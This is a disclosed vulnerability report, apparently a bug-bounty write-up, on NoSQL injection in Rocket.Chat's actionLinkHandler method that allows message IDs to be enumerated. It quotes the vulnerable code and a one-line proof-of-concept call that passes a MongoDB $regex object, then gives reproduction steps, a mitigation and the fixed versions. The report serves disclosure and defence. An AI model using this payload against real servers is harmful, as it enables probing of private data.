

1

## Message ID Enumeration with Action Link Handler

Share:



SUMMARY BY ROCKET.CHAT



### Summary

The `actionLinkHandler` method was found to allow Message ID Enumeration with Regex MongoDB queries.

### Releases Affected:

The Meteor method `actionLinkHandler` calls an `actionLinks` wrapper `getMessage` to find affected messages:

Code 372 Bytes

```
1 Meteor.methods({
2   actionLinkHandler(name, messageId) {
3     if (!Meteor.userId()) {
4       throw new Meteor.Error('error-invalid-user', 'Invalid user', { method:
5     }
6
7     const message = actionLinks.getMessage(name, messageId);
8     const actionLink = message.actionLinks[name];
9
10    actionLinks.actions[actionLink.method_id](message, actionLink.params);
11  },
12 });
```

The `actionLinks.getMessage` method does not validate the input data, so that a `{ $regex: ".*" }` pattern can be used to enumerate for the existence of Messages with MongoDB Injection.

Code 381 Bytes

```
4     throw new Meteor.Error('error-invalid-user', 'Invalid user', { function: '
5   }
6
7   const message = Messages.findOne({ _id: messageId });
8   if (!message) {
9     throw new Meteor.Error('error-invalid-message', 'Invalid message', { funct
10  }
11  // ...
12 }
```

Whenever a Message ID does not match any existing message, the server will respond with `invalid-message` error. When it does exist, a different response (or error) is returned, so that the guess can be evaluated.

Code 91 Bytes

```
1 Meteor.call(
2   "actionLinkHandler",
3   "joinJitsiCall",
4   { $regex: ".*" },
5   console.log
6 );
```

Although only Message IDs (and not their content) can be enumerated, mitigating this issue becomes relevant to prevent adversaries from stacking it with other information disclosure vulnerabilities that would leak a message content for known Message IDs.

### Steps To Reproduce (from initial installation to vulnerability):

1. Login to Rocket.Chat
2. Query actionLinkHelper to check if a message matches
3. Extend static part of the regex
4. Repeat step 2

### Suggested mitigation


- Check `messageId` for String type


### Impact





Fixed in 4.7.5, 4.8.2 and 5.0>


TIMELINE


-  **gronke** submitted a report to **Rocket.Chat**.

Nov 22nd (about 1 year ago)
-  **lucas\_magno** **Rocket.Chat staff** posted a comment.

Feb 2nd (10 months ago)
-  **mrrorschach** **Rocket.Chat staff** changed the status to **Triaged**.

Feb 3rd (10 months ago)
-  **mrrorschach** **Rocket.Chat staff** closed the report and changed the status to **Resolved**.

Jul 4th (5 months ago)
-  **mrrorschach** **Rocket.Chat staff** requested to disclose this report.

Sep 22nd (2 months ago)
-  **mrrorschach** **Rocket.Chat staff** disclosed this report.

Sep 22nd (2 months ago)